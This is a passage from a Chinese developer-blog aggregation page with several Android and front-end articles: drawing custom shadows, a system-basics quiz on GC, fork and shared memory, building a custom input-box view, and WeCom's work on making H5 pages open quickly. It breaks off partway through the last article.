  • dx:阴影在水平方向的偏移量,正值表示向右偏移,负值表示向左偏移。

  • dy:阴影在垂直方向的偏移量,正值表示向下偏移,负值表示向上偏移。

  • shadowColor:阴影颜色。


Canvas 可以理解为画布,基于 shadowShape 属性在画布上对应的绘制圆角矩形和圆形两种不同形状。



  • drawRoundRect() 用于在 Canvas 上绘制一个圆角矩形。该方法需要传递四个参数,分别是矩形左上角的 X 坐标,矩形左上角的 Y 坐标,矩形右下角的 X 坐标和矩形右下角的 Y 坐标。此外还需要提供两个额外参数,分别是圆角的 X 半径和 Y 半径。

  • canvas.drawCircle() 用于在 Canvas 上绘制一个圆形。该方法需要传递三个参数,分别是圆心的 X 坐标,圆心的 Y 坐标以及圆的半径。


创建一个 RectF,也就是一个矩形对象,表示一个浮点数精度的矩形。在绘制操作,比如指定绘制区域、裁剪画布等经常会用到。其构造函数包含4个浮点型成员变量:left、top、right、bottom,分别表示矩形左边界、上边界、右边界和下边界的坐标值。


override fun dispatchDraw(canvas: Canvas) {
// 配置画笔
val shadowPaint = Paint()
shadowPaint.color = shadowCardColor
shadowPaint.style = Paint.Style.FILL
shadowPaint.isAntiAlias = true
val left = shadowLeftHeight.toFloat()
val top = shadowTopHeight.toFloat()
val right = (width - shadowRightHeight).toFloat()
val bottom = (height - shadowBottomHeight).toFloat()
// 配置阴影的范围,偏移,颜色
shadowPaint.setShadowLayer(shadowRadius.toFloat(), shadowOffsetX.toFloat(), shadowOffsetY.toFloat(), shadowColor)
if (shadowShape == 0) {
// 如果绘制圆角矩形的阴影,用 drawRoundRect
val rectF = RectF(left, top, right, bottom)
canvas.drawRoundRect(rectF, shadowRound.toFloat(), shadowRound.toFloat(), shadowPaint)
} else {
// 如果绘制圆形的阴影,用 drawCircle
val radius = measuredHeight.toFloat() / 2 - shadowRadius
canvas.drawCircle(measuredHeight.toFloat() / 2, measuredHeight.toFloat() / 2, radius, shadowPaint)
}
shadowPaint.utilReset()
canvas.save()
}

总结


Android 界面绘制中,阴影是常见的 UI 元素之一,而 Android 原生提供的 elevation 属性虽然可以实现阴影效果,但往往不能满足 UI 设计的要求。因此,自定义 View 绘制阴影的方式更为灵活和实用。本文介绍了 ShadowView,它可以方便地绘制圆角矩形和圆形的阴影,且支持颜色、透明度和阴影形状的自定义。此外,本文还提供了使用 ShadowView 绘制阴影的示例代码,可供读者参考和使用。通过使用 ShadowView,可以更加方便地实现复杂、美观的阴影效果,提高 Android 应用的用户体验。


参考文章


Android进阶:快速实现自定义阴影效果


ShadowView


作者:Randall_Xia
链接:https://juejin.cn/post/7213651072144949309
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

写给 Android 开发者的系统基础知识科普

与我以往的风格不同,本文为科普类文章,因此不会涉及到太过高深难懂的知识。但这些内容可能 Android 应用层开发者甚至部分 framework 层开发者都不了解,因此仍旧高能预警。 另外广东这两天好冷啊,大家注意保暖~ 虚拟机与运行时 对象的概念 假设 g...
继续阅读 »

与我以往的风格不同,本文为科普类文章,因此不会涉及到太过高深难懂的知识。但这些内容可能 Android 应用层开发者甚至部分 framework 层开发者都不了解,因此仍旧高能预警。


另外广东这两天好冷啊,大家注意保暖~



虚拟机与运行时


对象的概念


假设 getObjectAddress(Object) 是一个获取对象内存地址的方法。


第一题:


考虑如下代码:


public static void main(String[] args) {
Object o = new Object();
long address1 = getObjectAddress(o);
// .......
long address2 = getObjectAddress(o);
}

main 方法中,创建了一个 Object 对象,随后两次调用 getObjectAddress 获取该对象的地址。两次获取到的对象地址是否有可能不同?换句话说,对象的地址是否有可能变更?










答:有可能。JVM 中存在 GC 即“垃圾回收”机制,会回收不再使用的对象以腾出内存空间。GC 可能会移动对象。


第二题:


考虑如下代码:


private static long allocate() {
Object o = new Object();
return getObjectAddress(o);
}

public static void main(String[] args) {
long address1 = allocate();
// ......
long address2 = allocate();
}

allocate() 创建了一个 Object 对象,然后获取它的对象地址。
main 方法中调用两次 allocate(),这两个对象的内存地址是否有可能相同?










答:有可能。在 allocate() 方法中创建的对象在该方法返回后便失去所有引用成为“不再需要的对象”,如果两次方法调用之间,第一次方法调用中产生的临时对象被上文中提到的 GC 机制回收,对应的内存空间就变得“空闲”,可以被其他对象占用。


第三题:


哎呀,既然上面说同一个对象的内存地址可能不相同,两个不同对象也有可能有相同的内存地址,而java 里的 == 又是判断对象的内存地址,那么


Object o = new Object();
if (o != o)

还有


Object o1 = new Object();
Object o2 = new Object();
if (o1 == o2)

这里的两个 if 不是都有可能成立?










答:不可能。== 操作符比较的确实是对象地址没错,但是这里其实还隐含了两个条件:



  1. 这个操作符比较的是 “那一刻” 两个对象的地址。

  2. 比较的两个对象都位于同一个进程内。


上述提到的两种情况都不满足“同一时间”这一条件,因此这两条 if 永远不会成立。


类与方法


第四题:


假设 Framework 是 Android Framework 里的一个类,App 是某个 Android App 的一个类:


public class Framework {
public static int api() {
return 0;
}
}

public class App {
public static void main(String[] args) {
Framework.api();
}
}

编译 App,然后将 Frameworkapi 方法的返回值类型从 int 改为 long,编译 Framework 但不重新编译 App,App 是否可以正常调用 Framework 的 api 方法?










答:不能。Java 类内存储的被调用方法的信息里包含返回值类型,如果返回值类型不对在运行时就找不到对应方法。将方法改为成员变量然后修改该变量的类型也同理。


第五题:


考虑如下代码:


class Parent {
public void call() {
privateMethod();
}
private void privateMethod() {
System.out.println("Parent method called");
}
}

class Child extends Parent {
private void privateMethod() {
System.out.println("Child method called");
}
}

new Child().call();

Child 里的 privateMethod 是否重写了 Parent 里的?call 中调用的 privateMethod() 会调用到 Parent 里的还是 Child 里的?










答:不构成方法重写,还是会调用到 Parent 里的 privateMethod。private 方法是 direct 方法,direct 方法无法被重写。


操作系统基础


多进程与虚拟内存


假设有进程 A 和进程 B。


第六题:


进程 A 里的对象 a 和进程 B 里的对象 b 拥有相同的内存地址,它们是同一个对象吗?










答:当然不是,上面才说过“对象相等”这个概念在同一个进程里才有意义,不认真听课思考是会被打屁屁的~


第七题:


进程 A 内有一个对象 a 并将这个对象的内存地址传递给了 B,B 是否可以直接访问(读取、写入等操作)这个对象?










答:不能,大概率会触发段错误,小概率会修改到自己内存空间里某个冤种对象的数据,无论如何都不会影响到进程 A。作为在用户空间运行的进程,它们拿到的所谓内存地址全部都是虚拟地址,进程访问这些地址的时候会先经过一个转换过程转化为物理地址再操作。如果转换出错(人家根本不认识你给的这个地址,或者对应内存的权限不让你执行对应操作),就会触发段错误。


第八题:


还是我们可爱的进程 A 和 B,但是这次 B 是 A 的子进程,即 A 调用 fork 产生了 B 这个新的进程:


void a() {
int* p = malloc(sizeof(int));
*p = 1;
if (fork() > 0) {
// 进程 A 也即父进程
// 巴拉巴拉巴拉一堆操作
} else {
// 进程 B 也即子进程
*p = 2;
}
}

(fork 是 Posix 内创建进程的 API,调用完成后如果仍然在父进程则返回子进程的 pid 永远大于 0,在子进程则返回 0)


(还是理解不了就把 A 想象为 Zygote 进程,B 想象为任意 App 进程)


这一段代码分配了一段内存,调用 fork 产生了一个子进程,然后在子进程里将预先分配好的那段内存里的值更改为 2。
问:进程 B 做出的更改是否对进程 A 可见?










答:不可见,进程 A 看见的那一段内存的值依然是 1。Linux 内核有一个叫做“写时复制”(Copy On Write)的技术,在进程 B 尝试写入这一段内存的时候会偷偷把真实的内存给复制一份,最后写入的是这份拷贝里的值,而进程 A 看见的还是原来的值。


跨进程大数据传递


已知进程 A 和进程 B,进程 A 暴露出一个 AIDL 接口,现在进程 B 要从 A 获取 10M 的数据(远远超出 binder 数据大小限制),且禁止传递文件路径,只允许调用这个 AIDL 接口一次,请问如何实现?










答:可以传递文件描述符(File Descriptor)。别以为这个玩意只能表示文件!举个例子,作为应用层开发者我们可以使用共享内存的方法,这样编写 AIDL 实现类把数据传递出去:


@Override public SharedMemory getData() throws RemoteException {
int size = 10 * 1024 * 1024;
try {
SharedMemory sharedMemory = SharedMemory.create("shared memory", size);
ByteBuffer buffer = sharedMemory.mapReadWrite();
for (int i = 0;i < 10;i++) {
// 模拟产生一堆数据
buffer.put(i * 1024 * 1024, (byte) 114);
buffer.put(i * 1024 * 1024 + 1, (byte) 51);
buffer.put(i * 1024 * 1024 + 2, (byte) 4);
buffer.put(i * 1024 * 1024 + 3, (byte) 191);
buffer.put(i * 1024 * 1024 + 4, (byte) 98);
buffer.put(i * 1024 * 1024 + 5, (byte) 108);
buffer.put(i * 1024 * 1024 + 6, (byte) 93);
}
SharedMemory.unmap(buffer);
sharedMemory.setProtect(OsConstants.PROT_READ);
return sharedMemory;
} catch (ErrnoException e) {
throw new RemoteException("remote create shared memory failed: " + e.getMessage());
}
}

然后在进程 B 里这样拿:


IRemoteService service = IRemoteService.Stub.asInterface(binder);
try {
SharedMemory sharedMemory = service.getData();
ByteBuffer buffer = sharedMemory.mapReadOnly();

// 模拟处理数据
int[] temp = new int[10];
for (int i = 0;i < 10;i++) {
for (int j = 0;j < 10;j++) {
temp[j] = buffer.get(i * 1024 * 1024 + j);
}
Log.e(TAG, "Large buffer[" + i + "]=" + Arrays.toString(temp));
}
SharedMemory.unmap(buffer);
sharedMemory.close();
} catch (Exception e) {
throw new RuntimeException(e);
}

这里使用的 SharedMemory 从 Android 8.1 开始可用,在 8.1 之前的系统里也有一个叫做 MemoryFile 的 API 可以用。
打开 SharedMemory 里的源码,你会发现其实它内部就是创建了一块 ashmem (匿名共享内存),然后将对应的文件描述符传递给 binder。内核会负责将一个可用的文件描述符传递给目标进程。
你可以将它理解为可以跨进程传递的 File Stream(只要能通过权限检查),合理利用这个小玩意有奇效哦 :)


作者:canyie
链接:https://juejin.cn/post/7215509220750098488
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

一个简单的自定义输入框

Hello啊各位老铁,今天还是一篇关于自定义View相关的,带来一个大众的,常见的一个输入框,很多的场合下都能遇到,比如验证码,密码框等等,配置了很多常见的属性,可以满足不同场合下的需求,矩形框,圆角框,下划线等等均可满足,长度设置,光标选择,背景选择,均可控...
继续阅读 »

Hello啊各位老铁,今天还是一篇关于自定义View相关的,带来一个大众的,常见的一个输入框,很多的场合下都能遇到,比如验证码,密码框等等,配置了很多常见的属性,可以满足不同场合下的需求,矩形框,圆角框,下划线等等均可满足,长度设置,光标选择,背景选择,均可控制,废话不多数,我们直接进入正题。


今天的内容大致如下:


1、效果及代码具体调用。


2、具体实现过程。


3、开源地址。


4、总结及注意事项。


一、效果及代码具体调用。


效果展示


边框黑圆圈展示



边框文字展示



纯色背景文字展示



纯色背景黑圆圈展示



纯色背景星号展示



下划线文字展示



下划线黑圆圈展示



纯色背景横向光标展示



能实现的效果还有很多,大家可以根据属性来动态配置即可。


关于使用方式,大家可以下载源码,直接复制即可,毕竟只有一个类,如果懒得下载源码,使用我给大家准备的远程Maven也是可以的,也是非常的方便,远程Maven具体使用如下。


Maven具体调用


1、在你的根项目下的build.gradle文件下,引入maven。


allprojects {
repositories {
maven { url "https://gitee.com/AbnerAndroid/almighty/raw/master" }
}
}

2、在你需要使用的Module中build.gradle文件下,引入依赖。


dependencies {
implementation 'com.vip:edit:1.0.3'
}

代码使用


   <com.vip.edit.InputBoxView
android:id="@+id/ib_view"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginLeft="10dp"
android:layout_marginTop="30dp"
android:layout_marginRight="10dp"
app:input_background="#f5f5f5"
app:input_canvas_type="rect"
app:input_length="6"
app:input_text_size="16sp"
app:input_text_type="round"
app:layout_constraintLeft_toLeftOf="parent"
app:layout_constraintTop_toTopOf="parent" />


属性介绍











































































































属性类型概述
input_canvas_typeenum绘制类型,目前有三种,线(line),矩形(rect),圆角(round),圆角需要结合属性input_radius使用
input_canvas_styleenum绘制画笔类型,空心还是实心,空心(stroke),实心(fill),实心和空心(fill_and_stroke)
input_backgroundcolor输入框的背景
input_select_backgroundcolor输入框的选择背景
input_radiusdimension输入框圆角度数
input_line_heightdimension输入框下划线的高度
input_lengthinteger输入框的长度
input_spacingdimension输入框的间距
input_text_colorcolor输入框的内容颜色
input_text_sizedimension输入框的文字大小
input_text_typeenum输入框的文字类型,普通文字(text),星号(asterisk),黑圆圈(round)
input_is_cursorboolean输入框是否有光标,默认展示光标
input_cursor_directionboolean输入框光标方向
input_cursor_widthdimension输入框光标宽度
input_cursor_colorcolor输入框光标颜色
input_cursor_spacingcolor输入框光标间距
input_cursor_is_twinkleboolean输入框的光标是否闪烁
input_is_android_keyboardboolean输入框是否弹起原生的软件盘,默认谈起,可以调用自定义的键盘
input_cursor_margin_bottomdimension横向的光标距离底部的距离

方法介绍










































方法参数概述
clearContent无参清空内容
setContentString设置内容
hideInputMethod无参隐藏软键盘,使用系统软键盘时
showKeyBoard回调函数需要弹起自己的软键盘时可以调用
inputChangeContent回调函数获取连续的输入结果
inputEndResult回调函数获取最终的输入内容,当等于你设置的length时进行回调

二、具体实现过程。


实现的过程也是非常的简单,大致可以分为五步走,1、绘制方格或下划线,2、绘制内容,3、绘制光标,4、实现光标闪动,5、软键盘控制,来,我们一步一步的来实现。


1、绘制方格或下划线


绘制方格或下划线,如下草图所示,需要根据传递的数量来进行绘制,首先要计算出每一格的宽度,也就是屏幕的宽度-格子之间的边距/格子的数量。



  //每个输入框的宽度=屏幕的宽-左右的边距-输入框直接的间距/输入框的个数
mRectWidth = (width - mSpacing * (mLength - 1)) / mLength

得到了每一格的宽度之后,就可以根据数量来进行动态的绘制了,无非就是遍历,根据属性input_canvas_type来绘制不同的效果,mSelectBackGroundColor变量为属性input_select_background设置的值,用来标记选择的输入框颜色,如下图所示:



如果,你想要改变选中的格子边框颜色,就可以进行设置颜色值,同样的需要搭配画笔的绘制样式,如下代码所示:


 /**
* AUTHOR:AbnerMing
* INTRODUCE:绘制输入框
*/
private fun canvasInputBox(canvas: Canvas?) {
mPaint!!.apply {
color = mBackGroundColor//设置背景颜色
strokeCap = Paint.Cap.ROUND//圆角线
}


for (a in 0 until mLength) {

val textLength = text.toString().length//当前输入的长度

if (mSelectBackGroundColor != 0) {
var paintStyle = Paint.Style.STROKE
when (mInputCanvasStyle) {
0 -> {
paintStyle = Paint.Style.STROKE
}
1 -> {
paintStyle = Paint.Style.FILL
}
2 -> {
paintStyle = Paint.Style.FILL_AND_STROKE
}
}
if (a == textLength) {
mPaint!!.apply {
style = paintStyle
color = mSelectBackGroundColor//设置选中背景颜色
}
} else {
mPaint!!.apply {
style = paintStyle
color = mBackGroundColor//设置背景颜色
}

}
}

val left = a * mRectWidth + a * mSpacing
val top = 0f
val right = (a + 1) * mRectWidth + a * mSpacing
val bottom = height.toFloat()

when (mInputCanvasType) {
0 -> {
//绘制下划线
canvas?.drawRoundRect(
left,
bottom - mLineHeight,
right,
bottom,
mRadius,
mRadius,
mPaint!!
)
}
1 -> {
//绘制矩形
canvas?.drawRect(left, top, right, bottom, mPaint!!)
}
2 -> {
//绘制圆角矩形
canvas?.drawRoundRect(left, top, right, bottom, mRadius, mRadius, mPaint!!)
}
}
}
}

绘制格子,最重要的就是计算每个格子的位置,其实只需要考虑X的坐标即可,Y可以直接充满View的高度。


2、绘制内容


绘制输入的内容,和绘制格子一样,重要的就是计算位置,有了格子的位置之后,计算内容就比较的简单了,只需要获取格子的中间坐标即可,计算如下:首先,拿到每个格子的右边X坐标点,再减去格子宽度的一半,就得到的中间的X坐标,但是,文字的绘制,还需要减去文字宽度的一半,这个一定要注意,否则,文字就是从中间点往右进行绘制的,就偏移了中间点。


文字的X轴计算如下:


  val textX = ((a + 1) * mRectWidth) + a * mSpacing - mRectWidth / 2 - w / 2

同理,Y的计算方式类似,全部代码如下,有一点需要注意下,就是星号,星号和文字以及圆圈还是有不一样的地方,那就比较小,那么就需要特殊的处理一下,都是基础的代码,没什么好说的。


/**
* AUTHOR:AbnerMing
* INTRODUCE:绘制内容
*/
private fun drawText(canvas: Canvas?) {
mPaint!!.apply {
style = Paint.Style.FILL
color = mTextColor//设置内容颜色
textSize = mTextSize
}

if (!TextUtils.isEmpty(text)) {
for (a in text!!.indices) {
val content = text!![a].toString()
var endContent = content

if (mTextType == 1) {
endContent = "*"
} else if (mTextType == 2) {
endContent = "●"
}

val rect = Rect()
mPaint!!.getTextBounds(endContent, 0, content.length, rect)
val w = mPaint!!.measureText(endContent)//获取文字的宽
//获取文字的X坐标
val textX = ((a + 1) * mRectWidth) + a * mSpacing - mRectWidth / 2 - w / 2
val h = rect.height()
//获取文字的Y坐标
var textY = (height + h) / 2.0f
//针对星号做特殊处理
if (mTextType == 1) {
textY += mTextSize / 3
}

canvas?.drawText(endContent, textX, textY, mPaint!!)
}
}
}

3、绘制光标


绘制光标就比较简单了,无非就是纵向还是横向,也是根据设置的属性来控制的,纵向计算出X坐标即可,横向就计算出Y的坐标即可。需要注意的是,距离左右或者上下的间距控制,代码如下:


 /**
* AUTHOR:AbnerMing
* INTRODUCE:绘制光标
*/
private fun drawCursor(canvas: Canvas?) {
mCursorPaint!!.apply {
strokeWidth = mCursorWidth
isAntiAlias = true
}
//需要根据当前输入的位置,计算光标的绘制位置
val len = text?.length
if (len!! < mLength) {
if (mCursorDirection) {
//纵向光标
val rectWidth = ((len + 1) * mRectWidth) + len * mSpacing - mRectWidth / 2
canvas?.drawLine(
rectWidth,
mCursorSpacing,
rectWidth,
height - mCursorSpacing,
mCursorPaint!!
)
} else {
val endX = ((len + 1) * mRectWidth) + len * mSpacing
val startX = endX - mRectWidth
//横向光标
canvas?.drawLine(
startX + mCursorSpacing,
height.toFloat() - mCursorMarginBottom,//减去距离底部的边距
endX - mCursorSpacing,
height.toFloat() - mCursorMarginBottom,
mCursorPaint!!
)
}
}

}

4、实现光标闪动


光标闪动,使用了一个属性动画,设置无限循环,然后控制画笔的颜色即可。


    private val cursorAnim: ValueAnimator = ValueAnimator.ofInt(0, 2).apply {
duration = 1000
repeatCount = ValueAnimator.INFINITE//无线循环
repeatMode = ValueAnimator.RESTART//正序
}

在onAttachedToWindow方法里做启动动画操作:mCursorTwinkle为是否需要光标,需要再启动,是通过属性input_cursor_is_twinkle来控制的。


if (mCursorTwinkle) {
//不在运行,开启动画
if (!cursorAnim.isRunning) {
cursorAnim.start()
}
cursorAnim.addUpdateListener {
val v = it.animatedValue as Int
if (v == 0) {
mCursorPaint?.color = Color.TRANSPARENT
} else {
mCursorPaint?.color = mCursorColor
}
postInvalidate()
}
}

同样的,当onDetachedFromWindow方法时,就需要结束。


if (mCursorTwinkle) {
if (cursorAnim.isRunning || cursorAnim.isStarted) {
cursorAnim.end()
}
cursorAnim.removeAllUpdateListeners()
}

判断在文字的输入时进行闪烁,这个是很重要的,也就是闪烁的位置,一定是当前的输入位置,未输入就是第一格闪烁,依次类推,输入完成,就结束闪烁。


override fun onTextChanged(
text: CharSequence?,
start: Int,
lengthBefore: Int,
lengthAfter: Int
) {
super.onTextChanged(text, start, lengthBefore, lengthAfter)
if (!mIsAttachedToWindows) return

//输入框的光标是否闪烁
if (mCursorTwinkle) {
if ((text?.length ?: 0) >= mLength) {
cursorAnim.takeIf { it.isStarted || it.isRunning }?.end()
} else if (!cursorAnim.isRunning) {
cursorAnim.start()
}
}

val endContent = text.toString()
if (endContent.length == mLength) {
//一样的话,进行回调
mEndContentResult?.invoke(endContent)
}

mChangeContent?.invoke(endContent)

}

5、软键盘控制


软件盘控制,有两种方式,一种是弹出系统的软键盘,一种是弹出自定义的软键盘,这个控制也是由传递的属性input_is_android_keyboard来操作的,默认为true,弹出系统的,否则就弹出自定义的,针对自定义的弹出,需要暴露出实现的方法,由使用者进行实现。


 /**
* AUTHOR:AbnerMing
* INTRODUCE:弹起软件盘
*/
private fun showKeyboard() {
if (mIsAndroidKeyBoard) {
isFocusable = true
isFocusableInTouchMode = true
requestFocus()
val im =
context.getSystemService(Context.INPUT_METHOD_SERVICE) as? InputMethodManager
?: return
im.showSoftInput(this, InputMethodManager.SHOW_FORCED)
} else {
//启用自定义的软键盘
if (mKeyBoard != null) {
mKeyBoard?.invoke()
}
}
}

mKeyBoard为弹出自定义软键盘回调函数,代码如下:


    /**
* AUTHOR:AbnerMing
* INTRODUCE:显示自己定义的软件盘
*/
private var mKeyBoard: (() -> Unit?)? = null
fun showKeyBoard(block: () -> Unit) {
mKeyBoard = block
}

隐藏软键盘操作,可以在页面隐藏时进行触发,目前在自定义View中onDetachedFromWindow方法里进行了调用,当然,你可以自己选择性调用。


    /**
* AUTHOR:AbnerMing
* INTRODUCE:隐藏软件盘
*/
fun hideInputMethod() {
if (mIsAndroidKeyBoard) {
val imm: InputMethodManager =
context.getSystemService(Context.INPUT_METHOD_SERVICE) as InputMethodManager
imm.hideSoftInputFromWindow(windowToken, 0) //强制隐藏
}
}

三、开源地址。


目前项目已经开源,需要的朋友可以查看:github.com/AbnerMing88…


四、总结及注意事项。


1、触摸输入框,默认是弹出系统自带的软键盘的,如果想使用自定义的,设置属性input_is_android_keyboard为false即可,并调用showKeyBoard回调函数,在showKeyBoard方法里进行书写弹起自定义软键盘即可。


2、如果绘制类型属性input_canvas_type为round,也就是圆角时,需要结合input_radius这个属性,来实现圆角的角度大小。


3、光标的方向属性input_cursor_direction是一个boolean类型的值,默认是纵向的,false是为横向的。


4、当输入框的选择背景input_select_background不为空时,画笔属性input_canvas_style才会生效。


作者:二流小码农
链接:https://juejin.cn/post/7216143702125166653
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

H5开屏从龟速到闪电,企微是如何做到的

导读|H5开屏龟速常是令开发者头疼的问题。腾讯企业微信团队对该现象进行分析优化,最终H5开屏耗时130ms,达到秒开效果!企微前端开发工程师陈智仁将分享可用可扩展的Hybird H5秒开方案。该团队使用离线包解决了资源请求耗时的问题,在这个基础上通过耗时分析找...
继续阅读 »

导读|H5开屏龟速常是令开发者头疼的问题。腾讯企业微信团队对该现象进行分析优化,最终H5开屏耗时130ms,达到秒开效果!企微前端开发工程师陈智仁将分享可用可扩展的Hybird H5秒开方案。该团队使用离线包解决了资源请求耗时的问题,在这个基础上通过耗时分析找到瓶颈环节,进一步采用“预热”进行优化提速以解决了WebView初始化、数据预拉取、js执行(app初始化)耗时的问题。希望这些通用方法对你有帮助。


图片


背景


服务端渲染(SSR)是Web主流的性能优化手段。SSR直出相比传统的SPA应用加载渲染规避了首屏拉取数据和资源请求的网络往返耗时。团队针对Web开发也已经支持了SSR能力。近期出于动态化运营的考虑,我们选择了Web开发,同时我们也接到了提升体验的诉求。


以企业微信要开发的页面为例:采用SSR方案,从用户点击到首屏渲染的耗时均值约600ms,白屏时间的存在是可以感知到的。为了尽可能消除白屏达到秒开效果,我们尝试做更多探索。


图片


方案思路


1) 方案选型


如何实现页面秒开呢?从最直观的渲染链路来入手分析。下图列出了从用户点击到看到首屏渲染可交互,一个SPA应用主要环节的加载流程。我们调研了业内相关方案,从渲染链路的视角来看下常见方案的优化思路。


图片



  • 传统离线包


在加载渲染过程中,网络IO是很明显的一个耗时瓶颈。传统的离线包方案思路很直接,如果网络耗时那就将资源离线,很好地解决了资源请求的耗时。用Service Worker也能达到离线包的效果,同时也是Web标准。首次渲染优化一般需要结合客户端配置预启动脚本来达到缓存资源的效果。



  • SSR


SSR则从另外的角度出发,在请求页面的时候就进行服务端数据拉取和页面直出,首屏得以在一个网络往返就可以展示,有效地规避了后续需要等待css/js资源加载、数据拉取的时间。性能体验有比较大的提升,在BFF普及的情况下开发模式简单,很受欢迎。



  • 公司内相关工作


考虑到WebView的初始化(冷启动/ 二次启动)、页面网络请求、首屏数据接口的耗时,白屏时间还是可感知地存在的。以我们要开发的页面为例采用SSR首屏耗时均值600ms,可交互时间均值1100ms。如何进一步消除白屏?这里为各位介绍公司内外针对h5首屏性能优化的优秀方案。


手Q团队的VasSonic是集大成者,主要思路是采用WebView和数据预拉取并行的方式。这套方案需要客户端和服务端采用指定协议改造接入,开发时也有一定的改造工作。


微信游戏团队主要思路是利用jsCore做客户端预渲染,用户点击后直接上屏。这个方法也达到了很好的效果,首屏FCP时间从1664ms降低到了411ms。


我们做了一个简要的方案对比,可以看到每个方案都针对渲染链路的某个或多个环节做了优化,其中VasSonic的效果比较显著。不过结合企业微信业务实际情况,我们列出了如下几点考虑:


首先,接入对客户端和服务端有一定的改造成本,业务开发也有一定的改造工作。其次,我们已经有一套的统一发布平台,希望能复用这套发布能力。最后,性能上有没有进一步优化的空间呢?业务需求对体验上的要求是希望达到更好的性能效果或者说尽可能完全地消除白屏。


基于以上考虑,我们在上述方案的基础上做了进一步的实践探索,以期望达到更好的性能效果。



离线包SSRVasSonicCSR
资源加载
图片


图片

图片
数据拉取

图片

图片

图片
JS执行



WebView启动优化


图片

首屏FCP

图片

图片

图片
可交互(取决于JS执行)




2)方案架构


为了达到尽可能完全消除白屏,我们还是从初始问题出发,结合渲染链路进行分析,思路上针对每个环节采取对应的优化方法。


每个环节的优化在具体落地时会存在着方案的利弊取舍。比如预拉取数据一般的思路是交给客户端来做,但是存在着客户端请求和h5请求两套机制(鉴权、请求通道等方面)如何协调的问题。在渲染链路分析时,如果业务的js执行也贡献了不少耗时,有没有可能从通用基础方案的角度来解决这个问题,同时也能减少业务对性能优化的关注?这是个值得各位思考探索的问题。具体的内容会在后面展开来说。


如图展示了方案的优化思路和主流程。方案使用离线包解决了资源请求耗时的问题,在这个基础上通过耗时分析找到瓶颈环节,进一步采用预热的思路进行优化提速,解决了WebView初始化、数据预拉取、js执行(app初始化)耗时的问题,最终达到了理想的性能体验。


图片


图1 上屏流程


图片


图2 方案架构


下面我们具体介绍下方案,包括:离线包技术、预热提速和进一步的优化工作。


图片


离线包加速


为了规避资源请求耗时,我们使用了离线包技术。离线包技术是比较成熟的方案,相关打包、发布拉取的方案这里不多说了,主要说下方案中一些设计上的考量。


1)加载流程


图片


我们通过offid作为离线包应用的标识,fallback机制保证离线资源不可达时用户也可以正常访问页面,通过离线包预拉取和异步检测更新机制提高了离线包命中率,尽可能消除了网络资源加载的耗时。



2)fallback机制


因为用户网络状况的不确定性,离线包加载可能存在失败的情况。**为了保证可用性,我们确定了离线包加载不阻塞渲染的思路。**当用户点击入口url,对应offid离线包在本地不存在时,会fallback请求现网页面,同时异步加载离线包。所以我们针对离线包的打包结构,按照现网URL path来组织资源路径。这样客户端请求拦截处理也会比较方便,不需要理解映射规则。当发现离线包不匹配资源时,放过请求透到现网即可。如图展示了我们的离线包结构示例。


图片



3. 离线包生命周期


为了提高离线包命中率,我们会配置一些时机(e.g.入口曝光)来预拉取离线包。


离线包的更新机制:客户端加载时根据offid检测到本地离线包的存在,则直接使用拉起,同时启动异步版本检测和更新。如果新包版本号大于本地版本号则更新缓存,同时发布平台也支持区分测试环境、正式环境以及按条件灰度。


上了离线包后,可以看到页面的首屏耗时均值从基准无优化的1340ms降到了963ms,离线包的预拉取和更新策略则使离线包命中率达到了95%。首屏耗时得到了一定的降低,但也还有比较大的优化空间,需要更一步的分析优化。


图片


预热提速


通过离线包的加速,我们解决了资源请求耗时的问题,不过从整个渲染链路来看还有很大的优化空间,我们做了具体的耗时分析,找出耗时瓶颈,针对耗时环节做了进一步的优化提速


1)耗时分析


离线包技术规避了资源请求耗时,但是从整个渲染链路来看还有很大的优化空间,我们做了耗时分析如下。


Hybird应用中,WebView初始化是比较耗时的环节,这里我们针对iOS WebView做了测试。



首次冷启动/ms二次打开/ms
iOS(WKWebView)480ms90ms

数据拉取方面,不同入口页面的耗时不一,某些入口页面比较重的接口耗时超过了1s。


图片


图片


此外,我们发现js执行也贡献了不少耗时。以某入口页面为例,框架初始化时间~10ms,app初始化时间~440ms。


图片



2)渲染链路预热提速




  • 预热流程




我们的目标是消除白屏,这里理想的方案是找到一种和业务无关的通用解法。方案的主要思路是预热,把能提前做的都做了。预热是不是就是把WebView提前创建出来就好了呢?不是的,这里的预热涉及到多个渲染环节的优化组合。如图展示了预热的整体流程,下面一个个来解。


图片



2)WebView预创建


为了消除WebView的耗时,我们采取了全局的预创建WebView,时机为配置入口曝光。不过全局复用预热WebView不可避免地会引入可能的业务内存泄露问题,下文会介绍对应的规避方案。





  • 数据预拉取




数据拉取是页面渲染的一个耗时环节。为了消除数据预拉取耗时,在预创建WebView阶段我们同时进行了数据预拉取。


数据预拉取常见的思路是交给客户端来做,但是存在着客户端请求和h5请求两套机制如何协调的问题,以请求鉴权为例,存在以下的问题:


第一,Web团队自身有一层node BFF,实现了相应的数据拉取业务逻辑,而客户端则走的私有协议通道请求C++后台,二者是不同的鉴权机制。


第二,如果交给客户端来做,可以接入HTTP请求这套机制,改造成本比较大,如果复用原有通道,则一份数据业务逻辑需要两套实现。


如何设计一套通用可扩展的方案?我们希望做到客户端只关注容器的能力(预热、资源拦截等),屏蔽掉更深入的对Web的感知,这样的解耦可以有效控制方案的复杂度。因此,这里我们针对离线包配置项增加了preUrl字段,使客户端维护更通用的能力,数据预拉取交给业务团队来做,具体如下:


第一,客户端:拉取某个离线包配置项时会读取该字段,同时针对当前曝光的入口url可能存在多个有着不同的数据需求,这里会进行收集,将曝光url中的业务key参数拼接到preUrl来初始化WebView,这些作为通用能力。


第二,业务:preUrl页面在加载时会拉取相应的业务数据存到localStorage,实际的数据预拉取请求放到业务方发起,也可以很好地兼容已有的技术栈。





  • JS预执行




很接近目标了,最后js执行的耗时能不能消除呢?首先来看下440ms的耗时具体在哪里,通过分析看到,框架初始化仅需要不到10ms的时间,而真正的大头在业务代码的执行,其中代码编译耗时~80ms,其余的都是业务app初始化执行时间,这个是业务本身复杂度造成的。


